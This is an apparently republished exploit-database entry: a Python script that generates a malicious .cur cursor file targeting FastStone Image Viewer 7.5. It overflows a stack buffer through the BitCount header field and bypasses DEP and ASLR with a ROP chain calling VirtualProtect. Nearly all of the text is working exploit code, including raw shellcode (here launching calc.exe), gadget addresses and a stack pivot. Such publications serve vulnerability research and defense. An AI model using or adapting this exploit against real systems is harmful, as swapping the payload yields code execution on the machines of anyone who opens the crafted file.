faststone image viewer 7.5 .cur bitmapinfoheader bitcount stack based buffer overflow (aslr & dep bypass)

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faststone image viewer 7.5 .cur bitmapinfoheader bitcount stack based buffer overflow (aslr & dep bypass) Code Code...
				
# Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass) # Exploit Author: Paolo Stagno # Date: 15/03/2020 # Vendor Homepage: https://www.faststone.org/ # Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe # https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/ # Version: 7.5 # Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256 # Category: local exploit # Platform: windows # Module info : #---------------------------------------------------------------------------------------------------------------------- #Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path #---------------------------------------------------------------------------------------------------------------------- #0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe) #0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll) #0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll) #---------------------------------------------------------------------------------------------------------------------- #!/usr/bin/python import struct, sys print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n") filename="FSViewer_v.7.5_exploit.cur" ################################################################################### # Shellcode # MAX Shellcode size: 556 # ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556 # Custom calc.exe shellcode # size: 112 ################################################################################### shellcode=( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7" ) if (len(shellcode)>556): sys.exit("Shellcode's size must be <= 556 bytes") ################################################################################### # Cur File Format # --------------------------------------------------------------------------------- # | Reserved | Type | Image Count | # | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images # Entries: # | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset | # | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode # | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact) # 1st Image Info Header: # | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant | # | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | # 1st ImageData(BLOB) # 2nd Image Info Header: # 2nd ImageData(BLOB) # --------------------------------------------------------------------------------- # BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow # its value can be modified but we need to account for two operations happening into the software. # - SHL 1, 89 = 0x200 # - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file # we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes # ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d) ################################################################################### image_data_pad = 776 def create_rop_nop(): rop_gadgets = [ 0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def create_rop_chain(): rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x00405bd4, # POP EAX ; RETN [FSViewer.exe] 0x6adf4160, # ptr to &VirtualProtect() [IAT fsplugin05.dll] 0x008b3977, # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe] 0x0083f67a, # XCHG EAX,ESI ; RETN [FSViewer.exe] #[---INFO:gadgets_to_set_ebp:---] 0x005b35b8, # POP EBP ; RETN [FSViewer.exe] 0x00454521, # & jmp esp [FSViewer.exe] #[---INFO:gadgets_to_set_ebx:---] 0x00630472, # POP EBX ; RETN [FSViewer.exe] 0x00000201, # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x004798db, # POP EDX ; RETN [FSViewer.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x004c7832, # POP ECX ; RETN [FSViewer.exe] 0x00991445, # &Writable location [FSViewer.exe] #[---INFO:gadgets_to_set_edi:---] 0x0040c3a8, # POP EDI ; RETN [FSViewer.exe] 0x0057660b, # RETN (ROP NOP) [FSViewer.exe] #[---INFO:gadgets_to_set_eax:---] 0x00404243, # POP EAX ; RETN [FSViewer.exe] 0x90909090, # nop #[---INFO:pushad:---] 0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # Cur image = 1597 bytes ################################################################################### cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type | Image Count | cur_Entries = ( "\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00" # 1st Entry "\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00" # 2nd Entry ) # 1st Image Info Header cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 1st ImageData # cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" print("Generating 1st ImageData BLOB:") cur_1ImageData = "" cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found print("- ROP NOP:\t\t{}".format(len(cur_1ImageData))) cur_1ImageData += create_rop_chain() print("- ROP Chain:\t\t{}".format(len(create_rop_chain()))) cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90" # stack adjustment for meterpreter GetPC routine: add esp, -700 print("- Stack Adjustment:\t8") cur_1ImageData += shellcode print("- Shellcode:\t\t{}".format(len(shellcode))) cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData)) # 2nd Image Info Header cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section) cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00" # SEH record overwrite goes here cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" ################################################################################### buf = "" buf += cur_Signature buf += cur_Entries buf += cur_1InfoHeader buf += cur_1ImageData buf += cur_2InfoHeader buf += cur_2ImageData # buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret | startnull {PAGE_EXECUTE_READ} [FSViewer.exe] # 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775 buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 : ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} buf += cur_2ImageData2 #buf += "B" * (buf_max_size - len(buf)) print("\nWriting CUR File:") print("--------------------------------------------------------") print("- Signature + ImageCount:\t{}".format(len(cur_Signature))) print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries))) print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader))) print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData))) print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader))) print(" 2nd ImageData 1/2:\t{}".format(len(cur_2ImageData))) print(" SEH:\t\t\t4") print(" 2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2))) print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2))) print("--------------------------------------------------------") print("[+] Writing total {} bytes on {}".format(len(buf), filename)) file = open(filename, "w"); file.write(buf); file.close();

Faststone image viewer 7.5 .cur bitmapinfoheader bitcount stack based buffer overflow (aslr & dep bypass) Vulnerability / Exploit Source : Faststone image viewer 7.5 .cur bitmapinfoheader bitcount stack based buffer overflow (aslr & dep bypass)



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